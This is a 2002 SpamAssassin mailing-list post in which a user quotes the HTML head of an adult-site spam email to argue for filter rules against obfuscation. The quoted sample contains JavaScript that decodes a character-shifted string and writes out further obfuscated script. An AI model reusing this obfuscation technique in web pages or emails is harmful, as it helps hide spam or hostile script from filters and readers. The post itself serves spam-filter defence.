We may need expanded rules to handle obfuscation. The following
javascript decodes into another obfuscation javasscript. I didn't have
time to persue it further (what the sender is counting on i suppose)...
<title>Subscribe for Daily Amateurs for FREE!!!</title>
<script Language="JavaScript">
<!--
j21="\n= ,hrhem+1O?,iob,ualoriqd\140,pag\140kf+/9nqph!;carg\036boaa:\007";
var
t41="@wgvmtx$perkyekiA+nezewgvmtx+B\016zev$x86A&E|l{ry})ujwp~jpnF0sj\177j|l{ry}0G\14045;o~wl}rxw)}p:12\140644\14045;\177j{)r5s5l5\1405;;F\14048;\14048;DsF9Dox{1rF9DrEs;:7unwp}qDr442sF1s4s;:7lqj{LxmnJ}1r22.\074;:=AD\14045;ro1sFF=\076;?2\140644\14045;ox{1rFs;:7unwp}q6:DrGF9Dr662\140644\14045;lFs;:7lqj{LxmnJ}1r241r.\0762D\14045;ro1lFF:92)\140644mxl~vnw}7\200{r}nuw1\1405;;2D\1405;;F\14048;\14048;D\140646nu|n)\1405;;4F\134}{rwp7o{xvLqj{Lxmn1l2D\140646\14045;ro1\1405;;7unwp}qG92\140644mxl~vnw}7\200{r}nuw1\1405;;2D\1405;;F\14048;\14048;D\140646\14045;\140646\14045;\140646\14045;\14045;}p:12D\14045;E8|l{ry}G&?\016jyrgxmsr$v;6,-\177\016~A&&?jsv,mA4?m@x862pirkxl?m//-~/AWxvmrk2jvsqGlevGshi,x862glevGshiEx,m-19-?\016hsgyqirx2{vmxipr,~-?\016\201\016v;6,-?\016@3wgvmtxB";
function r71(){
z="";for(i=0;i<t41.length;i++)z+=String.fromCharCode(t41.charCodeAt(i)-4);
document.writeln(z);
}
r71();
//-->
</script>
<link rel="stylesheet" type="text/css"
href="http://www.dailyamateurs.com/_css/dailyamateurs.css";>
</head>
...the body part of this html is the usual stuff about how sorry he is if
i received the message in error.
Bill
_______________________________________________________________
Don't miss the 2002 Sprint PCS Application Developer's Conference
August 25-28 in Las Vegas -
http://devcon.sprintpcs.com/adp/index.cfm?source=osdntextlink
_______________________________________________
Spamassassin-talk mailing list
[EMAIL PROTECTED]
https://lists.sourceforge.net/lists/listinfo/spamassassin-talk
